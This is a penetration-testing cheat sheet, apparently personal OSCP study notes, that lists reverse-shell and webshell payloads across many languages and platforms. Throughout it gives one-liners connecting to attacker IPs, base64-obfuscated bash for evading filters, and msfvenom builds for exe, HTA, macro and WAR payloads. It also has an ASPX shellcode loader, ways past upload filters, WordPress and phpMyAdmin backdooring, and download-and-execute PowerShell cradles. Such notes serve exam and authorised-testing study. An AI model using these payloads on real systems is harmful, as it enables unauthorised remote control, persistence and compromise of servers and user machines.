> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/reverse-shells.md).

# Reverse Shells

<details>

<summary>Staged vs Unstaged Payloads</summary>

#### Staged (smaller size):

```bash
linux/x64/shell/reverse_tcp
```

* must use `multi/handler` in the Metasploit console

```bash
msfconsole -q
set payload linux/x64/shell/reverse_tcp
set lhost 192.168.100.1
set lport 443
run -j
sessions
session -i 1
```

#### Unstaged (all the payload is present):

```bash
linux/x64/shell_reverse_tcp
```

</details>

<details>

<summary>Bash</summary>

### Double base64 encoding (able to bypass blacklisted chars)

```bash
# In attacker's Kali to generate rev shell:
echo "echo $(echo 'bash -i >& /dev/tcp/10.8.0.137/443 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

# In Victim's bash prompt:
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNDRMakF1TVRNM0x6UTBNeUF3UGlZeENnPT0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```

<figure><img src="/files/4VvJ1Svvs3dBOaB4rMkJ" alt=""><figcaption></figcaption></figure>

### Note that & needs to be url-encoded to %26 for webshells

```bash
/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0>&1'
```

<pre class="language-bash"><code class="lang-bash"><strong>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&#x26;1|nc &#x3C;YOUR_IP> &#x3C;PORT> >/tmp/f
</strong></code></pre>

```bash
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
```

```bash
mkfifo /tmp/lol;nc ATTACKER-IP PORT 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
```

### To bypass dot blacklist (eg: . is sanitized to \_ )

Convert the IP address to decimal equivalent: <https://www.ipaddressguide.com/ip>

<figure><img src="/files/XFS0UXijAeLvJ5APBMxt" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"><strong># rev on attacker
</strong>/bin/bash -c 'bash -i >&#x26; /dev/tcp/10.8.0.137/443 0>&#x26;1'

# on victim
<strong>curl http://168296585/rev | sh 
</strong>wget -O - http://192.168.45.192/rev | sh
</code></pre>

</details>

<details>

<summary>Python</summary>

<pre class="language-python"><code class="lang-python"><strong>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
</strong></code></pre>

</details>

<details>

<summary>Perl</summary>

For Windows - perl-reverse-shell.pl (Took reference from <https://highon.coffee/blog/reverse-shell-cheat-sheet/#perl-windows-reverse-shell>):&#x20;

```perl
use Socket;$i="192.168.45.211";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));         if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,     ">&S");exec("c:\\windows\\system32\\cmd.exe");};
```

For Linux - from [here](https://highon.coffee/blog/reverse-shell-cheat-sheet/#perl-windows-reverse-shell)

```perl
use Socket;$i="192.168.45.211";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
```

</details>

<details>

<summary>PHP</summary>

#### Webshell

```php
<?php system($_GET['cmd']); ?>
```

#### Simple PHP Reverse Shell for Linux

```bash
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.36/443 0>&1'"); ?>
```

#### Universal Reverse Shell

* From <https://github.com/ivan-sincek/php-reverse-shell>

```bash
cp /usr/share/webshells/php/universal_php_revshell.php .
```

* Can try diff extensions if there's a blacklist filtering

```bash
phtml, php, php3, php4, php5, phar
```

* Can spoof MIME using Burp, change to  Content-Type to`image/jpeg`

<img src="/files/TafM6mnO9SCMC8HmwBA7" alt="" data-size="original">

### Bypassing getimagesize, illegal ext, mime type:

```bash
# simple-php-revshell.phar (image/gif mime type)
GIF87a<?php system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'"); ?>

# webshell.php.jpg
echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg
echo '<?=`$_GET[0]`?>' >> webshell.php.jpg
```

</details>

<details>

<summary>Windows</summary>

### Powershell HTA file

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=445 -f hta-psh -o evil.hta
```

### Rev HTA Template

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");

// Using InstallUtil, payload encoded with certutil -f -encode bypass_clm_rev_shell.exe enc.txt
var re = shell.Run("powershell -windowstyle hidden bitsadmin /Transfer newjob http://192.168.45.170/enc.txt c:\\windows\\temp\\enc.txt;certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe")

</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

```

### Windows exe file

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.199 LPORT=443 -f exe -o reverse.exe
```

### Windows powershell .ps1 file

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f psh -o rev.ps1
```

### Nc.exe

```bash
cmd.exe /c C:\Users\anirudh\desktop\nc.exe -e cmd.exe 192.168.45.5 443
```

### Binary file

```sh
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x64 --format raw -o sc_x64_payload.bin
```

</details>

<details>

<summary>Powershell</summary>

SEE [simple\_ps\_revshell.ps1](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/pages/7NOJkRVAAckKwxMGUMr9#simple-powershell-reverse-shell-simple_ps_revshell.ps1)

OR <https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>

```bash
# Add to last line
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443

# On Victim
powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1'))"

# On Attacker
nc -lvp 443
```

### OR Powershell Encoded Command

```bash
wget https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py

python3 mkpsrevshell.py 10.10.108.147 7777
# powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwADgALgAxADQANwAiACwANwA3ADcANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

SQL> xp_cmdshell "powershell -e JABjAGwA..."
```

</details>

<details>

<summary>Linux</summary>

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.160 LPORT=443 -f elf > non_staged.elf
```

</details>

<details>

<summary>Socat</summary>

On Attacker:

```bash
socat -d -d TCP4-LISTEN:443 STDOUT
```

On Victim:

```bash
socat TCP4:10.11.0.22:443 EXEC:/bin/bash
```

</details>

<details>

<summary>JavaScript (JS)</summary>

```javascript
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(LPORT, "LHOST", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
```

</details>

<details>

<summary>ASP</summary>

### Rev Shell

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 -f asp > rev.asp
```

### Web Shell

```aspnet
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
```

</details>

<details>

<summary>ASPX (IIS Web Server Rev Shell)</summary>

<https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx>

```aspnet
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
              uint dwCreationFlags, IntPtr lpThreadId);
    
    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle,
        UInt32 dwMilliseconds);
    
    [DllImport("kernel32.dll")]
    static extern void Sleep(uint dwMilliseconds);
    
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
    uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
    
    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    protected void Page_Load(object sender, EventArgs e)
    {
        //Non-Emulated API
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
        if (mem == null)
        {
            return;
        }
        
        // Shellcode
        byte[] buf = new byte[510] {0xae, ..};
        // End Shellcode
    
        // Decoding 
        // XOR decoding
        for (int i = 0; i < buf.Length; i++)
        {
        buf[i] = (byte)(buf[i] ^ 0x52);
        }
        // End Decoding
    
        int size = buf.Length;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
    
        Marshal.Copy(buf, 0, addr, size);
    
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
            IntPtr.Zero, 0, IntPtr.Zero);
    
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
</script>

```

</details>

<details>

<summary>Webshell to Rev Shell</summary>

#### shell.sh

```bash
#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
```

#### Code Execution to Rev Shell

```bash
http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash
```

### OR

#### shell.php

```php
<?php
    system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.5 443 >/tmp/f');
?>
```

#### Code Execution to Rev Shell

```bash
http://192.168.242.94/index.php?page=' and die(system("curl http://192.168.45.5/shell.php|php")) or '
```

</details>

<details>

<summary>WordPress Themes RCE</summary>

Edit a theme that's not currently in use

<figure><img src="/files/GqXk4PDfgiFFkmQuYBof" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yPlNFvHWKfiQtcV3huli" alt=""><figcaption></figcaption></figure>

Put in [universal php rev shell](https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php) in 404 Template (404.php)

<figure><img src="/files/Sp74yFmU3xeeItUTaCBY" alt=""><figcaption></figcaption></figure>

Change attacker's IP and port on line 177

<figure><img src="/files/Y33eFi44UrHzn7BGzgd5" alt=""><figcaption></figcaption></figure>

Go to [http://sandbox.local/wp-content/themes/twentytwenty/404.php](http://sandbox.local/wp-content/themes/twentynineteen/404.php) --> rev shell!

</details>

<details>

<summary>WordPress Plugin Webshell</summary>

<pre class="language-bash"><code class="lang-bash"><strong>zip plugin-shell.zip /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php
</strong></code></pre>

#### On WordPress admin console, plugin --> upload plugins

```bash
curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami
```

</details>

<details>

<summary>Macro Docx Rev Shell</summary>

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f vba
```

Go to MS word and create a macro, put in the vba payload!

The global Macro is present in `C:\Users\WQ\AppData\Roaming\Microsoft\Templates\Normal.dotm` , open with explorer to delete.

</details>

<details>

<summary>Java (WAR) Rev Shell</summary>

* For uploading to Tomcat Manager Console
  * Will be uploaded to <http://10.11.1.209:8080/revshell/>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=1234 -f war -o revshell.war
```

* From <https://github.com/LaiKash/JSP-Reverse-and-Web-Shell>

```
cp /usr/share/webshells/jsp/laikash_shell.jsp .
```

</details>

<details>

<summary>PHPMyAdmin to Rev Shell</summary>

### Obtain Document Root's location

Eg From: <http://192.168.163.189:8080/?phpinfo=-1>

![](/files/1z9dqebYybPqx1pL5leX)

#### Create new DB named "test", "utf8\_general\_ci" as collation --> Create

![](/files/XeeQxQSxB4MRmUhCmWEv)

#### Select "test" database --> SQL tab --> enter following as SQL query --> Go

```sql
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
OR
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\wamp\\www\\backdoor.php"
```

[http://192.168.163.189:8080/backdoor.php?cmd=whoami <br>](<http://192.168.163.189:8080/backdoor.php?cmd=whoami&#xD;&#xA;>)![](/files/jZdD1q91a2nyb2WKQqoN)

<http://192.168.163.189:8080/backdoor.php?cmd=certutil%20-urlcache%20-f%20http://192.168.45.5/nc.exe%20nc.exe>

![](/files/Lslc0d4imIyqK6oninHY)

<http://192.168.163.189:8080/backdoor.php?cmd=nc.exe%20-e%20cmd.exe%20192.168.45.5%20443>

```bash
┌──(root㉿kali)-[/home/…/Documents/pg_practice/192.168.163.189/spose]
└─# nc -lvp 443 
listening on [any] 443 ...
192.168.163.189: inverse host lookup failed: Unknown host
connect to [192.168.45.5] from (UNKNOWN) [192.168.163.189] 49746
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\wamp\www>whoami
whoami
nt authority\system

```

</details>

<details>

<summary>MySQL</summary>

If web server hosts Wordpress:

* Generate new password using <https://www.useotools.com/wordpress-password-hash-generator/output>
* Edit the previous admin password to the new password hash
* Login to wp-admin and upload theme --> Rev shell

```bash
mysql -h 127.0.0.1 -P 3306 -u karl -p'Wordpress1234'
use wordpress;
UPDATE `wp_users` SET `user_pass` = '$P$BuRIPLEa2rb.uOneg7zTBOcidtYWFG.' WHERE ID=1
```

Able to login to <http://192.168.160.166/wp-admin>

* admin:P\@ssw0rd

</details>

<details>

<summary>Fully Interactive PowerShell Reverse Shell</summary>

<https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1>

```powershell
# Victim
powershell -c IEX(new-object net.webclient).downloadstring('http://192.168.45.218/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.45.218 3001

# On Attacker's Kali
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```

</details>

<details>

<summary>Batch file (.bat)</summary>

Use simple\_ps\_revshell to generate the encoded powershell command&#x20;

<figure><img src="/files/34zXvF0fAH6qbcnh5aga" alt=""><figcaption></figcaption></figure>

```bat
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3AC8AcgB1AG4AYQBsAGwALgBwAHMAMQAnACkA
```

</details>
